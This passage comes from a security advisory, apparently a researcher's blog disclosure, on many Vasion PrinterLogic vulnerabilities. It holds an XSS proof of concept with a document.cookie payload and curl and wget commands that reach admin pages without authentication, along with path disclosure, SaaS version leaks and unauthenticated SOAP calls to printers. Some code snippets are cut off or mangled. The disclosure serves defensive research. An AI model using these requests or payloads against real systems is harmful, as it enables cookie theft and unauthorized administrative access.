[...] [/code] A PoC has been provided using the PHP code from `license_gen.php`: Content of `test.php`: [code:php] 1 "; 11 12 ?> [/code] When `bla'%20onload='alert(document.cookie)` is injected, there is a XSS: kali% curl "http://127.0.0.1/test.php?expiry=bla'%20onload='alert(document.cookie)" `license_gen.php` contains 13 XSS with `htmlentitites()`. The script also works and provides valid licenses: [please use the HTML version at https://pierrekim.github.io/blog/2025-04-08-vasion-printerlogic-83-vulnerabilities.html] [please use the HTML version at https://pierrekim.github.io/blog/2025-04-08-vasion-printerlogic-83-vulnerabilities.html] An attacker may use this license generator file to steal cookies of administrators. ## Details - Incorrect Access Control to PHP webpages allowing to reach printers A huge number of webpages are directly reachable outside regular PHP routes. This allows an attacker to bypass authentication mechanism. For example, `http://target/admin/design/role_description.php` is freely reachable: kali% curl http://10.105.0.241/admin/design/role_description.php

Administrative Roles

Root

The root user has all permissions.


Administrator:

Administrators have all permissions except permission to change the root user password.


Manager:

Managers have permissions to do the following:

  • View and export all print job audit records.
  • Add, delete, and edit printer objects the user has been given permission to manage
  • Add, delete, and edit folder objects the user has been given permission to manage
  • Edit printer General, Port, Drivers, Deploy, Portal Security settings
  • Edit folder General and Portal Security tab settings
  • Add drivers to the driver/profile repository
  • Delete drivers from the driver/profile repository if the driver is only associated to printers the user has been given permission to manage
  • Replace drivers in the driver/profile repository if the driver is only associated to printers the user has been given permission to manage
  • Add profiles to the driver/profile repository
  • Delete profiles from the driver/profile repository if the profile is only associated to printers the user has been given permission to manage
  • Edit profiles in the driver/profile repository if the profile is only associated to printers the user has been given permission to manage
  • Add, delete, and edit IP address range objects the user has been given permission to manage
  • Edit IP Address range General and Deploy tab settings

Deployer:

Deployers have permissions to do the following:

  • Edit deploy tab settings of printer or IP address range objects the user has been given permission to manage
kali% Other pages will provide path disclosure, e.g. `/console_release/km/OpenAPI.php`: kali% curl http://10.105.0.241/console_release/km/OpenAPI.php
Warning: Use of undefined constant ABSPATH - assumed 'ABSPATH' (this will throw an Error in a future version of PHP) in /var/www/app/public/console_release/km/OpenAPI.php on line 3

Warning: require_once(ABSPATHlib/dao/my_sql/data_access.php): failed to open stream: No such file or directory in /var/www/app/public/console_release/km/OpenAPI.php on line 3

Fatal error: require_once(): Failed opening required 'ABSPATHlib/dao/my_sql/data_access.php' (include_path='.:/usr/local/lib/php') in /var/www/app/public/console_release/km/OpenAPI.php on line 3
When reaching some pages, we can get PHP errors in the appliance - some code is executed because there is no authentication but there are PHP errors (undefined variables) during the execution. Some of the code is supposed to be included in other PHP files. Testing reachable PHP files in the `/admin/design/reports` directory: kali% for i in chart_image.php global.php overview_application_usage.php overview_color.php overview_environmental.php overview_main.php overview_page_count.php overview_paper_size.php overview_popup.php overview_pull_printing.php overview_summary.php overview_time_of_day.php overview_total_per_week.php print_job_folder.php print_job_others.php print_job_records.php print_job_user_manager_department_printer.php; do wget http://10.105.0.241/admin/design/reports/$i;done Some PHP errors will be produced on the server: Feb 1 01:06:46 printerlogic va/printercloud_pi.1.6x121o9j76phpwxma6fzk3ga3[1398]: 2022/02/01 01:06:46 [error] 98#98: *81 FastCGI sent in stderr: "PHP message: [2022-02-01 01:06:46] production.ERROR: {"instance":"10.105.0.241","dbname":"app_pi","dbhost":"mysql","originator":"http:\/\/10.105.0.241\/admin\/design\/reports\/overview_application_usage.php","route":"admin\/{dir1?}\/{dir2?}\/{dir3?}\/{dir4?}\/{dir5?}"} [dd.trace_id=4753636673719875765 dd.span_id=4753636673719875765] array_shift() expects parameter 1 to be array, null given {"exception":"[object] (ErrorException(code: 0): array_shift() expects parameter 1 to be array, null given at /var/www/app/admin/design/reports/overview_application_usage.php:12)"} [] Feb 1 01:06:46 printerlogic va/printercloud_pi.1.6x121o9j76phpwxma6fzk3ga3[1398]: PHP message: [2022-02-01 01:06:46] production.ERROR: {"instance":"10.105.0.241","dbname":"app_pi","dbhost":"mysql","originator":"http:\/\/10.105.0.241\/admin\/design\/reports\/overview_application_usage.php","route":"admin\/{dir1?}\/{dir2?}\/{dir3?}\/{dir4?}\/{dir5?}"} [dd.trace_id=4753636673719875765 dd.span_id=4753636673719875765] array_shift() expects parameter 1 to be array, null given {"exception":"[object] (ErrorException(code: 0): array_shift() expects parameter 1 to be array, null given at /var/www/app/admin/design/reports/overview_application_usage.php:12)"} []" while reading response header from upstream, client: 172.17.130.44, server: ~^(?[^.]+)\..*$, request: "GET /admin/design/reports/overview_application_usage.php HTTP/1.1", upstream: "fastcgi://unix:/var/run/php-fpm.sock:", host: "10.105.0.241" Feb 1 01:06:46 printerlogic va/printercloud_pi.1.6x121o9j76phpwxma6fzk3ga3[1398]: 2022/02/01 01:06:46 [error] 98#98: *81 FastCGI sent in stderr: "PHP message: [2022-02-01 01:06:46] production.ERROR: {"instance":"10.105.0.241","dbname":"app_pi","dbhost":"mysql","originator":"http:\/\/10.105.0.241\/admin\/design\/reports\/overview_color.php","route":"admin\/{dir1?}\/{dir2?}\/{dir3?}\/{dir4?}\/{dir5?}"} [dd.trace_id=4795729321180279321 dd.span_id=4795729321180279321] array_shift() expects parameter 1 to be array, null given {"exception":"[object] (ErrorException(code: 0): array_shift() expects parameter 1 to be array, null given at /var/www/app/admin/design/reports/overview_color.php:12)"} [] Feb 1 01:06:46 printerlogic va/printercloud_pi.1.6x121o9j76phpwxma6fzk3ga3[1398]: PHP message: [2022-02-01 01:06:46] production.ERROR: [...] The `console_release` directory completely lacks authentication in several webpages: kali% curl -k 'http://10.105.0.241/console_release/common/validate_user.php?license_check=1&printerId=4' [{"pull_printer":null,"global_pull_printer":0,"app_installed":null,"secure_release":null,"ldap_rfid":"0","global_secure_release":0,"full_binding":0,"binding":1}] This can be verified in the SaaS version of Printerlogic: kali% curl -kv 'https://[redacted].printercloud10.com/console_release/common/validate_user.php?license_check=1&printerId=4' [{"pull_printer":null,"global_pull_printer":"0","app_installed":null,"secure_release":null,"ldap_rfid":"0","global_secure_release":"0","full_binding":1,"binding":0}] These pages are also freely available in the SaaS version, for example, it is possible to retrieve all the versions of Docker instances without authentication by visiting `https://[redacted].printercloud10.com/admin/design/management_accountts_serverinfo.php`: [code:html] kali% curl -kv https://[redacted].printercloud10.com/admin/design/management_accountts_serverinfo.php | grep server-info
Version
Released
[/code] The `console_release` directory also contains multiple pages reachable without authentication: [please use the HTML version at https://pierrekim.github.io/blog/2025-04-08-vasion-printerlogic-83-vulnerabilities.html] http://10.105.0.241/console_release/toshiba/console.php?printer_id=1 [please use the HTML version at https://pierrekim.github.io/blog/2025-04-08-vasion-printerlogic-83-vulnerabilities.html] http://10.105.0.241/console_release/xerox/console.php?printer_id=1 [please use the HTML version at https://pierrekim.github.io/blog/2025-04-08-vasion-printerlogic-83-vulnerabilities.html] http://10.105.0.241/console_release/samsung/console.php?printer_id=1 [please use the HTML version at https://pierrekim.github.io/blog/2025-04-08-vasion-printerlogic-83-vulnerabilities.html] http://10.105.0.241/console_release/km/console.php?printer_id=1 When reading codes inside `console_release`, it is clear that the PHP code doesn't implement authentication: Content of `/var/www/app/console_release/toshiba/change_screens.php`: [code:php] 1 first(); 16 $select_screen_response = select_screen($printer->host_address, $token, "Menu"); 17 Log::debug("Toshiba change_screens, select_screen_response = " . $select_screen_response); 18 $parser = xml_parser_create(); 19 xml_parse_into_struct($parser, $select_screen_response, $vals, $index); 20 xml_parser_free($parser); 21 Log::debug(print_r($vals, true)); 22 Log::debug(print_r($index, true)); 23 24 $logout_result = logout($printer_id, $token); 25 Log::debug("Toshiba change_screens, logout result:"); 26 Log::debug(print_r($logout_result, true)); 27 if (isset($index['SOAP-ENV:FAULT']) && isset($index['EXC:DESCRIPTION'])) { 28 Log::debug("error: " . $vals[$index['EXC:DESCRIPTION'][0]]['value']); 29 echo "fail"; 30 } else { 31 echo "success"; 32 } 33 } catch(Exception $ex) { 34 Log::debug("Toshiba change_screens, error: " . $ex->getMessage()); 35 echo "fail"; 36 } 37 } [/code] The variables `$token` and `$printer_id` are attacker-controlled data and there is no authentication. The `select_screen` function is implemented in `/var/www/app/console_release/toshiba/toshiba_soap_helper.php` and the execution flow goes to a HTTP/HTTPS request (without verification of SSL certificates) with attacker-controlled data sent to the printer in the function `processCurl()`: Content of `/var/www/app/console_release/toshiba/change_screens.php`: [code:php] 1 '; 773 $body .= '' . $screen . ''; 774 $body .= ''; 775 776 return processCurl($ip, $header, $body, "http://"); 777 } 555 function get_header($token) 556 { 557 $header = ''; 558 $header .= ''; 559 $header .= '' . $token . ''; 560 $header .= ''; 561 $header .= ''; 562 return $header; 563 } [/code] With the `processCurl` function defined in `/var/www/app/console_release/toshiba/change_screens.php`: [code:php] 1 CUSTOM-XML-HERE
Windows 25.0.0.587 Mac OS X 25.1.0.556 Linux (Debian/Ubuntu) 25.1.0.556 Red Hat Linux 25.1.0.556 API Gateway Microservice 1.212.2 Authentication Microservice 1.0.268 Badge Reader Microservice 1.0.62 Control Panel Platform UI 1.81.3 External Badge Connector Microservice 1.0.34 IDP Integrations Microservice 1.0.6 Identity Microservice v1.0.88 Print Queue Microservice 5.0.124 PrinterInstaller 5.0.6607 QMS Microservice 1.0.124 SCIM Microservice 1.0.9 Snmp Custom Data Microservice N/A Tree Microservice 1.0.57 User Microservice 5.188.0 API Keys UI 0.1.4 QR Code UI 0.1.5 Quota Management UI 1.1.187